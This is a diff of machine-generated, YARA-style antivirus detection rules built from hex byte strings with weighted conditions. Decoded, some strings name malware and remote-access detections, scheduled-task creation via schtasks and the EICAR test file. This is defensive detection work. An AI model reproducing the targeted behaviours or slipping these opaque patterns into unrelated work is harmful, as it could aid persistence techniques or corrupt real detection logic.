//58 condition: - ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*99+(#a_00_4 & 1)*116+(#a_00_5 & 1)*117+(#a_00_6 & 1)*101+(#a_00_7 & 1)*115+(#a_00_8 & 1)*104+(#a_00_9 & 1)*101+(#a_00_11 & 1)*104+(#a_00_12 & 1)*97+(#a_00_14 & 1)*77+(#a_00_16 & 1)*109+(#a_00_18 & 1)*114+(#a_00_20 & 1)*116+(#a_00_21 & 1)*98+(#a_00_22 & 1)*108+(#a_00_24 & 1)*101+(#a_00_26 & 1)*102+(#a_00_28 & 1)*107+(#a_00_29 & 1)*116+(#a_00_31 & 1)*111+(#a_00_33 & 1)*112+(#a_00_35 & 1)*116+(#a_00_36 & 1)*114) >=201 + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*99+(#a_00_4 & 1)*116+(#a_00_5 & 1)*117+(#a_00_6 & 1)*101+(#a_00_7 & 1)*115+(#a_00_8 & 1)*104+(#a_00_9 & 1)*101+(#a_00_11 & 1)*104+(#a_00_12 & 1)*97+(#a_00_14 & 1)*77+(#a_00_16 & 1)*109+(#a_00_18 & 1)*114+(#a_00_20 & 1)*116+(#a_00_21 & 1)*98+(#a_00_22 & 1)*108+(#a_00_24 & 1)*101+(#a_00_26 & 1)*102+(#a_00_28 & 1)*107+(#a_00_29 & 1)*116+(#a_00_31 & 1)*111+(#a_00_33 & 1)*112+(#a_00_35 & 1)*116+(#a_00_36 & 1)*114+(#a_00_38 & 1)*104+(#a_00_39 & 1)*58) >=201 } -rule _InfrastructureShared_26582{ +rule _InfrastructureShared_28295{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 6f 00 21 " @@ -348069,7 +370473,7 @@ rule _InfrastructureShared_26582{ ((#a_4c_0 & 1)*21539+(#a_31_1 & 1)*13879+(#a_66_2 & 1)*25395+(#a_30_3 & 1)*12902+(#a_33_4 & 1)*26213+(#a_66_5 & 1)*11568+(#a_39_6 & 1)*25392+(#a_2d_7 & 1)*13923+(#a_62_8 & 1)*13622+(#a_36_9 & 1)*26162+(#a_39_10 & 1)*24885+(#a_31_11 & 1)*13881+(#a_38_12 & 1)*13369+(#a_2d_13 & 1)*13877+(#a_01_14 & 1)*25186+(#a_2d_15 & 1)*25392+(#a_80_16 & 1)*1+(#a_80_17 & 1)*1+(#a_80_18 & 1)*1+(#a_80_19 & 1)*1+(#a_80_20 & 1)*1+(#a_80_21 & 1)*1+(#a_80_22 & 1)*1+(#a_80_23 & 1)*1+(#a_80_24 & 1)*1+(#a_80_25 & 1)*1+(#a_80_26 & 1)*1+(#a_80_27 & 1)*1+(#a_80_28 & 1)*1+(#a_80_29 & 1)*1+(#a_80_30 & 1)*1+(#a_80_31 & 1)*1+(#a_80_32 & 1)*1+(#a_80_33 & 1)*1+(#a_80_34 & 1)*1+(#a_80_35 & 1)*1+(#a_80_36 & 1)*1+(#a_80_37 & 1)*1+(#a_80_38 & 1)*1+(#a_80_39 & 1)*1+(#a_80_40 & 1)*1+(#a_80_41 & 1)*1+(#a_80_42 & 1)*1+(#a_80_43 & 1)*1+(#a_80_44 & 1)*1+(#a_80_45 & 1)*1+(#a_80_46 & 1)*1+(#a_80_47 & 1)*1+(#a_80_48 & 1)*1+(#a_80_49 & 1)*1+(#a_80_50 & 1)*1+(#a_80_51 & 1)*1+(#a_80_52 & 1)*1+(#a_80_53 & 1)*1+(#a_80_54 & 1)*1+(#a_80_55 & 1)*1+(#a_80_56 & 1)*1+(#a_80_57 & 1)*1+(#a_80_58 & 1)*1+(#a_80_59 & 1)*1+(#a_80_60 & 1)*1+(#a_80_61 & 1)*1+(#a_80_62 & 1)*1+(#a_80_63 & 1)*1+(#a_80_64 & 1)*1+(#a_80_65 & 1)*1+(#a_80_66 & 1)*1+(#a_80_67 & 1)*1+(#a_80_68 & 1)*1+(#a_80_69 & 1)*1+(#a_80_70 & 1)*1+(#a_80_71 & 1)*1+(#a_80_72 & 1)*1+(#a_80_73 & 1)*1+(#a_80_74 & 1)*1+(#a_80_75 & 1)*1+(#a_80_76 & 1)*1+(#a_80_77 & 1)*1+(#a_80_78 & 1)*1+(#a_80_79 & 1)*1+(#a_80_80 & 1)*1+(#a_80_81 & 1)*1+(#a_80_82 & 1)*1+(#a_80_83 & 1)*1+(#a_80_84 & 1)*1+(#a_80_85 & 1)*1+(#a_80_86 & 1)*1+(#a_80_87 & 1)*1+(#a_80_88 & 1)*1+(#a_80_89 & 1)*1+(#a_80_90 & 1)*1+(#a_80_91 & 1)*1+(#a_80_92 & 1)*1+(#a_80_93 & 1)*1+(#a_80_94 & 1)*1+(#a_80_95 & 1)*1+(#a_80_96 & 1)*1+(#a_80_97 & 1)*1+(#a_b4_98 & 1)*0+(#a_00_99 & 1)*45+(#a_00_100 & 1)*116+(#a_00_102 & 1)*116+(#a_00_103 & 1)*111+(#a_00_105 & 1)*116+(#a_00_107 & 1)*111+(#a_00_108 & 1)*117+(#a_00_109 & 1)*100) >=1 } -rule _InfrastructureShared_26583{ +rule _InfrastructureShared_28296{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,65 00 65 00 ffffffb8 00 21 " @@ -348258,7 +370662,7 @@ rule _InfrastructureShared_26583{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*114+(#a_00_2 & 1)*44+(#a_00_3 & 1)*107+(#a_00_4 & 1)*97+(#a_00_6 & 1)*101+(#a_00_7 & 1)*115+(#a_00_9 & 1)*120+(#a_00_10 & 1)*100+(#a_00_11 & 1)*110+(#a_00_12 & 1)*97+(#a_00_13 & 1)*100+(#a_00_14 & 1)*112+(#a_00_15 & 1)*116+(#a_00_17 & 1)*115+(#a_00_19 & 1)*115+(#a_00_20 & 1)*1+(#a_00_21 & 1)*1+(#a_00_22 & 1)*1+(#a_00_23 & 1)*1+(#a_00_24 & 1)*1+(#a_00_25 & 1)*1+(#a_00_26 & 1)*1+(#a_00_27 & 1)*1+(#a_00_28 & 1)*1+(#a_00_29 & 1)*1+(#a_00_30 & 1)*1+(#a_00_31 & 1)*1+(#a_00_32 & 1)*1+(#a_00_33 & 1)*1+(#a_00_34 & 1)*1+(#a_00_35 & 1)*1+(#a_00_36 & 1)*1+(#a_00_37 & 1)*1+(#a_00_38 & 1)*1+(#a_00_39 & 1)*1+(#a_00_40 & 1)*1+(#a_00_41 & 1)*1+(#a_00_42 & 1)*1+(#a_00_43 & 1)*1+(#a_00_44 & 1)*1+(#a_00_45 & 1)*1+(#a_00_46 & 1)*1+(#a_00_47 & 1)*1+(#a_00_48 & 1)*1+(#a_00_49 & 1)*1+(#a_00_50 & 1)*1+(#a_00_51 & 1)*1+(#a_00_52 & 1)*1+(#a_00_53 & 1)*1+(#a_00_54 & 1)*1+(#a_00_55 & 1)*1+(#a_00_56 & 1)*1+(#a_00_57 & 1)*1+(#a_00_58 & 1)*1+(#a_00_59 & 1)*1+(#a_00_60 & 1)*1+(#a_00_61 & 1)*1+(#a_00_62 & 1)*1+(#a_00_63 & 1)*1+(#a_00_64 & 1)*1+(#a_00_65 & 1)*1+(#a_00_66 & 1)*1+(#a_00_67 & 1)*1+(#a_00_68 & 1)*1+(#a_00_69 & 1)*1+(#a_00_70 & 1)*1+(#a_00_71 & 1)*1+(#a_00_72 & 1)*1+(#a_00_73 & 1)*1+(#a_00_74 & 1)*1+(#a_00_75 & 1)*1+(#a_00_76 & 1)*1+(#a_00_77 & 1)*1+(#a_00_78 & 1)*1+(#a_00_79 & 1)*1+(#a_00_80 & 1)*1+(#a_00_81 & 1)*1+(#a_00_82 & 1)*1+(#a_00_83 & 1)*1+(#a_00_84 & 1)*1+(#a_00_85 & 1)*1+(#a_00_86 & 1)*1+(#a_00_87 & 1)*1+(#a_00_88 & 1)*1+(#a_00_89 & 1)*1+(#a_00_90 & 1)*1+(#a_00_91 & 1)*1+(#a_00_92 & 1)*1+(#a_00_93 & 1)*1+(#a_00_94 & 1)*1+(#a_00_95 & 1)*1+(#a_00_96 & 1)*1+(#a_00_97 & 1)*1+(#a_00_98 & 1)*1+(#a_00_99 & 1)*1+(#a_00_100 & 1)*1+(#a_00_101 & 1)*1+(#a_00_102 & 1)*1+(#a_00_103 & 1)*1+(#a_00_104 & 1)*1+(#a_00_105 & 1)*1+(#a_00_106 & 1)*1+(#a_00_107 & 1)*1+(#a_00_108 & 1)*1+(#a_00_109 & 1)*1+(#a_00_110 & 1)*1+(#a_00_111 & 1)*1+(#a_00_112 & 1)*1+(#a_00_113 & 1)*1+(#a_00_114 & 1)*1+(#a_00_115 & 1)*1+(#a_00_116 & 1)*1+(#a_00_117 & 1)*1+(#a_00_118 & 1)*1+(#a_00_119 & 1)*1+(#a_00_120 & 1)*1+(#a_00_121 & 1)*1+(#a_00_122 & 1)*1+(#a_00_123 & 1)*1+(#a_00_124 & 1)*1+(#a_00_125 & 1)*1+(#a_00_126 & 1)*1+(#a_00_127 & 1)*1+(#a_00_128 & 1)*1+(#a_00_129 & 1)*1+(#a_00_130 & 1)*1+(#a_00_131 & 1)*1+(#a_00_132 & 1)*1+(#a_00_133 & 1)*1+(#a_00_134 & 1)*1+(#a_00_135 & 1)*1+(#a_00_136 & 1)*1+(#a_00_137 & 1)*1+(#a_00_138 & 1)*1+(#a_00_139 & 1)*1+(#a_00_140 & 1)*1+(#a_00_141 & 1)*1+(#a_00_142 & 1)*1+(#a_00_143 & 1)*1+(#a_00_144 & 1)*1+(#a_00_145 & 1)*1+(#a_00_146 & 1)*1+(#a_00_147 & 1)*1+(#a_00_148 & 1)*1+(#a_00_149 & 1)*1+(#a_00_150 & 1)*1+(#a_00_151 & 1)*1+(#a_00_152 & 1)*1+(#a_00_153 & 1)*1+(#a_00_154 & 1)*1+(#a_00_155 & 1)*1+(#a_00_156 & 1)*1+(#a_00_157 & 1)*1+(#a_00_158 & 1)*1+(#a_00_159 & 1)*1+(#a_00_160 & 1)*1+(#a_00_161 & 1)*-200+(#a_00_162 & 1)*-200+(#a_00_163 & 1)*-200+(#a_00_164 & 1)*-200+(#a_00_165 & 1)*-200+(#a_e7_166 & 1)*0+(#a_1d_167 & 1)*-14205+(#a_40_168 & 1)*7182+(#a_02_169 & 1)*6161+(#a_00_170 & 1)*-15031+(#a_61_171 & 1)*3604+(#a_14_172 & 1)*-24547+(#a_13_173 & 1)*7176+(#a_c1_174 & 1)*5+(#a_8a_175 & 1)*25130+(#a_01_176 & 1)*6502+(#a_82_177 & 1)*17230+(#a_80_178 & 1)*23620+(#a_02_179 & 1)*1089+(#a_14_180 & 1)*4392+(#a_44_181 & 1)*-20368+(#a_63_182 & 1)*4864+(#a_8f_183 & 1)*9216) >=101 } -rule _InfrastructureShared_26584{ +rule _InfrastructureShared_28297{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ARHSTR_EXT,14 00 14 00 02 00 21 " @@ -348268,7 +370672,7 @@ rule _InfrastructureShared_26584{ ((#a_4c_0 & 1)*21539) >=20 } -rule _InfrastructureShared_26585{ +rule _InfrastructureShared_28298{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ARHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -348278,7 +370682,7 @@ rule _InfrastructureShared_26585{ ((#a_4c_0 & 1)*21539) >=10 } -rule _InfrastructureShared_26586{ +rule _InfrastructureShared_28299{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 04 00 21 " @@ -348290,7 +370694,7 @@ rule _InfrastructureShared_26586{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*24832+(#a_01_3 & 1)*0) >=3 } -rule _InfrastructureShared_26587{ +rule _InfrastructureShared_28300{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 04 00 21 " @@ -348303,7 +370707,7 @@ rule _InfrastructureShared_26587{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*26708+(#a_01_2 & 1)*29301+(#a_01_3 & 1)*30064) >=3 } -rule _InfrastructureShared_26588{ +rule _InfrastructureShared_28301{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -348317,7 +370721,7 @@ rule _InfrastructureShared_26588{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*0+(#a_01_4 & 1)*25972) >=5 } -rule _InfrastructureShared_26589{ +rule _InfrastructureShared_28302{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 08 00 21 " @@ -348330,7 +370734,7 @@ rule _InfrastructureShared_26589{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*29811+(#a_01_2 & 1)*21587+(#a_01_7 & 1)*8993) >=3 } -rule _InfrastructureShared_26590{ +rule _InfrastructureShared_28303{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0b 00 0a 00 05 00 21 " @@ -348344,7 +370748,7 @@ rule _InfrastructureShared_26590{ ((#a_01_0 & 1)*21283+(#a_01_1 & 1)*28448+(#a_01_2 & 1)*14690+(#a_01_3 & 1)*256+(#a_01_4 & 1)*19297) >=10 } -rule _InfrastructureShared_26591{ +rule _InfrastructureShared_28304{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -348357,7 +370761,7 @@ rule _InfrastructureShared_26591{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*104+(#a_01_2 & 1)*51+(#a_01_4 & 1)*53) >=5 } -rule _InfrastructureShared_26592{ +rule _InfrastructureShared_28305{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -348369,7 +370773,7 @@ rule _InfrastructureShared_26592{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*29549+(#a_01_2 & 1)*25964) >=3 } -rule _InfrastructureShared_26593{ +rule _InfrastructureShared_28306{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 03 00 21 " @@ -348381,7 +370785,7 @@ rule _InfrastructureShared_26593{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*28484+(#a_01_2 & 1)*28530) >=2 } -rule _InfrastructureShared_26594{ +rule _InfrastructureShared_28307{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -348394,7 +370798,7 @@ rule _InfrastructureShared_26594{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*6+(#a_01_2 & 1)*29797+(#a_01_3 & 1)*26471) >=4 } -rule _InfrastructureShared_26595{ +rule _InfrastructureShared_28308{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 06 00 21 " @@ -348408,7 +370812,7 @@ rule _InfrastructureShared_26595{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*30222+(#a_01_3 & 1)*25959+(#a_01_4 & 1)*26966+(#a_01_5 & 1)*118) >=6 } -rule _InfrastructureShared_26596{ +rule _InfrastructureShared_28309{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 06 00 21 " @@ -348422,7 +370826,7 @@ rule _InfrastructureShared_26596{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*0) >=6 } -rule _InfrastructureShared_26597{ +rule _InfrastructureShared_28310{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -348434,7 +370838,7 @@ rule _InfrastructureShared_26597{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*101+(#a_01_3 & 1)*115) >=4 } -rule _InfrastructureShared_26598{ +rule _InfrastructureShared_28311{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 05 00 21 " @@ -348447,7 +370851,7 @@ rule _InfrastructureShared_26598{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*99+(#a_01_2 & 1)*46+(#a_01_4 & 1)*116) >=4 } -rule _InfrastructureShared_26599{ +rule _InfrastructureShared_28312{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0c 00 0c 00 03 00 21 " @@ -348458,7 +370862,20 @@ rule _InfrastructureShared_26599{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*7168) >=12 } -rule _InfrastructureShared_26600{ +rule _InfrastructureShared_28313{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 04 00 21 " + + strings : + $a_01_0 = {4c 3a 48 53 54 52 3a 4e 75 69 74 6b 61 5f 50 79 74 68 6f 6e 32 45 78 65 00 01 00 15 4e 55 49 54 4b 41 5f 4f 4e 45 46 49 4c 45 5f 50 41 52 45 4e 54 01 00 18 4e 55 49 54 4b 41 5f 4f 4e 45 46 49 4c 45 5f 44 49 } //21539 + $a_01_1 = {54 4f 52 59 01 00 15 4e 55 49 54 4b 41 5f 4f 52 49 47 49 4e 41 4c 5f 41 52 47 56 30 01 00 36 7b 00 54 00 45 00 4d 00 50 00 7d 00 5c 00 6f 00 6e 00 65 00 66 00 69 00 6c 00 65 00 5f 00 7b 00 50 00 49 00 } //17746 + $a_01_2 = {00 5f 00 7b 00 54 00 49 00 4d 00 45 00 7d 00 00 00 d7 52 00 00 0b 00 0b 00 02 00 21 23 54 45 4c 3a 43 72 65 61 74 65 53 63 68 65 64 75 6c 65 64 54 61 73 6b 2e 41 00 0a 00 18 00 73 00 63 00 68 00 74 00 61 00 73 00 6b 00 73 00 2e 00 65 00 78 00 65 00 01 00 0e 00 2f 00 43 00 52 00 45 00 41 00 54 00 45 00 00 00 e7 3d 00 00 00 18 21 00 21 23 54 45 4c 3a 41 47 47 52 3a 43 74 78 } //68 + $a_01_3 = {48 73 74 44 72 6f 70 e7 da bc ec 05 ac 3f 1e 80 d0 1e c7 19 31 18 ac d1 1e d7 0b ac e6 04 0b ac 73 c7 80 0b 19 f2 31 80 7a 08 00 00 00 00 00 00 00 00 00 00 7a 08 00 00 05 00 00 00 01 00 00 00 55 1e 00 00 1b 20 f1 90 3a 23 4c 6f 77 66 69 3a 48 53 54 52 3a 57 69 6e 33 32 2f 45 6c 65 78 2e 45 00 55 } //30291 + condition: + ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*17746+(#a_01_2 & 1)*68+(#a_01_3 & 1)*30291) >=3 + +} +rule _InfrastructureShared_28314{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -348469,7 +370886,7 @@ rule _InfrastructureShared_26600{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*29795) >=2 } -rule _InfrastructureShared_26601{ +rule _InfrastructureShared_28315{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -348481,7 +370898,7 @@ rule _InfrastructureShared_26601{ ((#a_01_0 & 1)*21539+(#a_01_2 & 1)*112+(#a_01_4 & 1)*120) >=5 } -rule _InfrastructureShared_26602{ +rule _InfrastructureShared_28316{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -348491,7 +370908,7 @@ rule _InfrastructureShared_26602{ ((#a_01_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26603{ +rule _InfrastructureShared_28317{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 06 00 21 " @@ -348506,7 +370923,7 @@ rule _InfrastructureShared_26603{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*25972+(#a_01_2 & 1)*17163+(#a_01_3 & 1)*16740+(#a_01_4 & 1)*14958+(#a_01_5 & 1)*29795) >=6 } -rule _InfrastructureShared_26604{ +rule _InfrastructureShared_28318{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0a 00 0a 00 0c 00 21 " @@ -348527,7 +370944,7 @@ rule _InfrastructureShared_26604{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*29811+(#a_01_2 & 1)*12882+(#a_01_3 & 1)*4+(#a_01_4 & 1)*29268+(#a_01_5 & 1)*28265+(#a_01_6 & 1)*25955+(#a_01_7 & 1)*256+(#a_01_8 & 1)*30831+(#a_01_9 & 1)*14930+(#a_01_10 & 1)*27750+(#a_01_11 & 1)*29559) >=10 } -rule _InfrastructureShared_26605{ +rule _InfrastructureShared_28319{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 07 00 21 " @@ -348543,7 +370960,7 @@ rule _InfrastructureShared_26605{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*27454+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*0) >=4 } -rule _InfrastructureShared_26606{ +rule _InfrastructureShared_28320{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 06 00 21 " @@ -348557,7 +370974,7 @@ rule _InfrastructureShared_26606{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*28518+(#a_01_2 & 1)*26478+(#a_01_3 & 1)*28515+(#a_01_4 & 1)*14964) >=4 } -rule _InfrastructureShared_26607{ +rule _InfrastructureShared_28321{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 01 00 21 " @@ -348567,7 +370984,7 @@ rule _InfrastructureShared_26607{ ((#a_01_0 & 1)*18467) >=2 } -rule _InfrastructureShared_26608{ +rule _InfrastructureShared_28322{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -348577,7 +370994,7 @@ rule _InfrastructureShared_26608{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_26609{ +rule _InfrastructureShared_28323{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -348588,7 +371005,7 @@ rule _InfrastructureShared_26609{ ((#a_01_0 & 1)*19491+(#a_01_1 & 1)*14969) >=2 } -rule _InfrastructureShared_26610{ +rule _InfrastructureShared_28324{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 0c 00 21 " @@ -348600,14 +371017,15 @@ rule _InfrastructureShared_26610{ $a_01_4 = {96 61 df 2a 21 23 53 54 41 54 49 43 3a 44 75 } //8193 $a_01_5 = {5f 4d 53 46 54 5f 49 6e 74 65 72 6e 61 6c 5f 54 65 73 74 5f 53 69 67 5f 4f 6e 6c 79 67 41 00 00 f0 04 fc 30 ec e4 23 fd 1d 27 6a 3f 00 7a 00 00 01 20 1d 27 6a 3f 2a 21 23 53 54 41 54 49 43 3a 44 75 6d 6d 79 5f 4d 53 46 54 5f 49 6e 74 65 72 6e 61 6c 5f 54 65 73 74 5f 53 69 67 5f 4f 6e 6c 79 67 41 00 00 98 55 9d c8 a6 52 35 82 17 7a ad b8 00 7a 00 00 01 20 17 7a } //28013 $a_01_6 = {21 23 53 54 41 54 49 43 3a 44 75 6d 6d 79 5f 4d 53 46 54 5f 49 6e 74 65 72 6e 61 6c 5f 54 65 73 74 5f 53 69 67 5f 4f 6e 6c 79 } //-18259 !#STATIC:Dummy_MSFT_Internal_Test_Sig_Only - $a_01_9 = {bd bb 39 99 f4 d9 74 ba 3c 94 cf 79 d1 89 21 f1 14 e0 00 00 00 00 00 00 00 00 01 00 00 00 22 21 23 54 45 4c 50 45 52 3a 52 65 6d 6f 74 65 41 63 63 65 73 73 3a 57 69 6e 33 32 2f 4b 61 73 65 79 61 6c 46 00 00 15 00 01 a4 f8 08 e5 1b e0 12 ae e5 65 0a b5 09 8a 63 85 12 10 6b 63 00 00 00 00 00 00 00 00 01 00 00 00 22 21 23 54 45 4c 50 45 52 3a 52 65 6d 6f 74 65 } //4609 - $a_01_10 = {65 73 73 3a 57 69 6e 33 32 2f 4b 61 73 65 79 61 6c 49 00 00 15 00 01 6e ce 5e ce 41 92 68 3d 2d 84 e2 5b 0b a7 e0 4f 9c b7 eb 7c 00 00 00 00 00 00 00 00 01 00 00 00 25 21 23 54 45 4c 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4f 6e 65 48 75 6e 74 43 65 72 74 21 64 68 61 6c 4b 00 00 15 00 } //25409 - $a_01_11 = {d8 14 40 2b de 72 ea 9b 93 d1 5c 49 a9 20 4f f9 21 0e 00 00 00 00 00 00 00 00 01 00 00 00 27 21 23 54 45 4c 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4f 6e 65 48 75 6e 74 43 65 72 74 2e 42 21 64 } //-23039 + $a_01_8 = {fb 8e 7f 5e 65 40 c3 30 ae 97 44 00 00 00 01 10 33 95 85 6c e8 1f 2b 73 82 de e7 26 02 f7 98 b6 42 f1 41 40 21 21 23 54 45 4c 3a 56 69 72 75 73 3a 44 4f 53 2f 45 49 43 41 52 5f 54 65 73 74 5f 46 69 6c 65 2e 42 6c 46 00 00 15 00 01 12 78 bd bb 39 99 f4 d9 74 ba 3c 94 cf } //-27648 + $a_01_9 = {21 f1 14 e0 00 00 00 00 00 00 00 00 01 00 00 00 22 21 23 54 45 4c 50 45 52 3a 52 65 6d 6f 74 65 41 63 63 65 73 73 3a 57 69 6e 33 32 2f 4b 61 73 65 79 61 6c 46 00 00 15 00 01 a4 f8 08 e5 1b e0 12 ae e5 65 0a b5 09 8a 63 85 12 10 6b 63 00 00 00 00 00 00 00 00 01 00 00 00 22 21 23 54 45 4c 50 45 52 3a 52 65 6d 6f 74 65 41 63 63 65 73 73 3a 57 69 6e 33 32 2f 4b 61 73 65 79 61 6c 49 00 00 15 00 01 6e ce 5e ce 41 } //-11911 + $a_01_10 = {2d 84 e2 5b 0b a7 e0 4f 9c b7 eb 7c 00 00 00 00 00 00 00 00 01 00 00 00 25 21 23 54 45 4c 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4f 6e 65 48 75 6e 74 43 65 72 74 21 64 68 } //26770 + $a_01_11 = {00 00 15 00 01 a6 44 d8 14 40 2b de 72 ea 9b 93 d1 5c 49 a9 20 4f f9 21 0e 00 00 00 00 00 00 00 00 01 00 00 00 27 21 23 54 45 4c 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4f 6e 65 48 75 6e 74 43 65 72 74 2e 42 21 64 } //27745 condition: - ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*28271+(#a_01_2 & 1)*24953+(#a_01_3 & 1)*-20182+(#a_01_4 & 1)*8193+(#a_01_5 & 1)*28013+(#a_01_6 & 1)*-18259+(#a_01_9 & 1)*4609+(#a_01_10 & 1)*25409+(#a_01_11 & 1)*-23039) >=6 + ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*28271+(#a_01_2 & 1)*24953+(#a_01_3 & 1)*-20182+(#a_01_4 & 1)*8193+(#a_01_5 & 1)*28013+(#a_01_6 & 1)*-18259+(#a_01_8 & 1)*-27648+(#a_01_9 & 1)*-11911+(#a_01_10 & 1)*26770+(#a_01_11 & 1)*27745) >=6 } -rule _InfrastructureShared_26611{ +rule _InfrastructureShared_28325{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -348618,7 +371036,7 @@ rule _InfrastructureShared_26611{ ((#a_01_0 & 1)*21539+(#a_01_2 & 1)*0) >=3 } -rule _InfrastructureShared_26612{ +rule _InfrastructureShared_28326{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -348629,7 +371047,7 @@ rule _InfrastructureShared_26612{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*27694) >=3 } -rule _InfrastructureShared_26613{ +rule _InfrastructureShared_28327{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -348641,7 +371059,7 @@ rule _InfrastructureShared_26613{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*23666+(#a_01_2 & 1)*24919) >=3 } -rule _InfrastructureShared_26614{ +rule _InfrastructureShared_28328{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -348653,7 +371071,7 @@ rule _InfrastructureShared_26614{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*8292+(#a_01_2 & 1)*29285) >=3 } -rule _InfrastructureShared_26615{ +rule _InfrastructureShared_28329{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -348665,7 +371083,7 @@ rule _InfrastructureShared_26615{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*29285+(#a_01_2 & 1)*26956) >=3 } -rule _InfrastructureShared_26616{ +rule _InfrastructureShared_28330{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -348677,7 +371095,7 @@ rule _InfrastructureShared_26616{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*29813+(#a_01_2 & 1)*21079) >=3 } -rule _InfrastructureShared_26617{ +rule _InfrastructureShared_28331{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -348689,7 +371107,7 @@ rule _InfrastructureShared_26617{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*5376+(#a_01_2 & 1)*23666) >=3 } -rule _InfrastructureShared_26618{ +rule _InfrastructureShared_28332{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 